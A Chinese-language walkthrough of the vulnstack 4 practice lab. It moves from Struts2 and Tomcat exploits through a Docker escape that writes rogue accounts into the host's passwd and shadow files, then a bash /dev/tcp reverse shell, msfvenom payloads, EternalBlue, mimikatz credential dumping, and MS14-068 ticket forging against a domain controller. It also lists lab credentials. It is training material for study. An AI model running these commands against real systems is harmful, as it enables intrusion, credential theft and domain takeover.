红日（vulnstack）4 内网渗透ATT&CK实战

环境配置

靶机链接：百度网盘 请输入提取码

提取码：fk2z

WEB 192.168.111.132 192.168.54.133

WIN7 192.168.54.130

DC 192.168.54.132

网卡配置：

web靶机配置：

启动docker服务：

sudo docker start ec 17 09 bb da 3d ab ad

sudo docker ps

web渗透

1.探测web靶机开放端口和服务情况

nmap -p- -A -sV 192.168.111.132

2.查看2001端口,是一个struts2

3.查看2002端口是一个tomcat

4.2003端口是一个phpmyadmin界面

5.探测漏洞，似乎有cve-2017-5638

nikto -host http://192.168.111.132:2001

6.利用struts2工具进行探测，确实存在漏洞。

7.可以执行命令

8.进行反弹shell操作

bash -i >& /dev/tcp/192.168.111.129/8888 0>&1

9.进去之后虽然是root权限但是它是一个docker容器的权限！

docker容器判断方法：

1>判断根目录下 .dockerenv文件

2>查询系统进程的cgroup信息

ls -alh /.dockerenv

cat /proc/1/cgroup

Tomcat漏洞

1.2002端口存在Tomcat cve-2017-12615漏洞

把get请求改为post 上传冰蝎马

2.成功连接冰蝎，并且是Root权限

3.kali开启监听，进行反弹shell操作

利用特权模式进行 docker 逃逸

1.SHELL=bash script -q /dev/null //反弹交互式shell

fdisk -l //查看磁盘文件

cd /tmp

mkdir hak //创建目录以备挂载

mount /dev/sda1 hak //将宿主机/dev/sda1 目录挂载至容器内

cat hak/etc/passwd //可任意读取文件

2.写入特权账号，密码为ubuntu

echo "hak:x:0:0::/home/wanli:/bin/bash" >> hak/etc/passwd

echo "hak:\$1\$xJbww\$Yknw8dsfh25t02/g2fM9g/:18281:0:99999:7:::" >>hak/etc/shadow

3.写入的root权限用户无法登录ssh,写入普通用户,成功登录。

echo "wei:x:1001:1001:jack,,,:/home/jack:/bin/bash" >> hak/etc/passwd

echo "wei:\$1\$xJbww\$Yknw8dsfh25t02/g2fM9g/:18281:0:99999:7:::" >> hak/etc/shadow

横向渗透

1.本地开启http服务，将fscan下载到靶机里；

wget http://192.168.111.129:8000/fscan_amd64

./fscan -h 192.168.54.0/24 //开始扫描

2.生成木马，反弹到msf里进行渗透

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=8888 -f elf > shell.elf

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set lhost 192.168.111.129

set lport 8888

run

3.代理选择ew或者frp,不建议msf自带的代理。

ew代理

在kali上执行命令

./ew_for_linux64 -s rcsocks -l 1188 -e 1234

在目标主机上上传ew_for_linux64

执行命令

./ew_for_linux64 -s rssocks -d 192.168.111.129 -e 1234

4.用代理启动msf ，利用永恒之蓝漏洞攻击win7

5.设置正向连接payload,多run几次才能拿到shell

set payload windows/x64/meterpreter/bind_tcp

win7渗透

1.load kiwi 加载猕猴桃

2.creds_all 列举所有凭据 ,列举系统中的明文密码

Username：douser PASSWORD：Dotest123

Domain：DEMO.COM

NTLM：bc23b0b4d5bf5ff42bc61fb62e13886e

SID：S-1-5-21-979886063-1111900045-1414766810-1107

3.因为靶机作者已经把利用工具已放到了桌面，切换到桌面目录，可以直接利用。

cd C:\Users\douser\Desktop

4.生成高权限票据

MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.54.132 -p Dotest123

5.利用mimikatz导入票据

kerberos::purge //清空票据

kerberos::ptc TGT_douser@DEMO.COM.ccache //将票据注入到内存中

kerberos::list //查看票据

6.成功访问域控

dir \\计算机机器名字\c$

dir \\WIN-ENS2VR5TR3N\c$

7.生成正向木马，写入域控进行弹shell

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.52.131 LPORT=7777 -f exe > 7777.exe

8.把本地生成的木马，上传到win7的c盘，然后复制到域控的c盘

upload /home/kali/Desktop/7777.exe C:\

copy C:\\7777.exe \\WIN-ENS2VR5TR3N\c$

9.创建计划任务，执行木马

schtasks /create /S WIN-ENS2VR5TR3N /tn yukong /sc onstart /tr c:\7777.exe /ru system /f

schtasks /run /s 192.168.52.132 /i /tn "yukong"

失败！！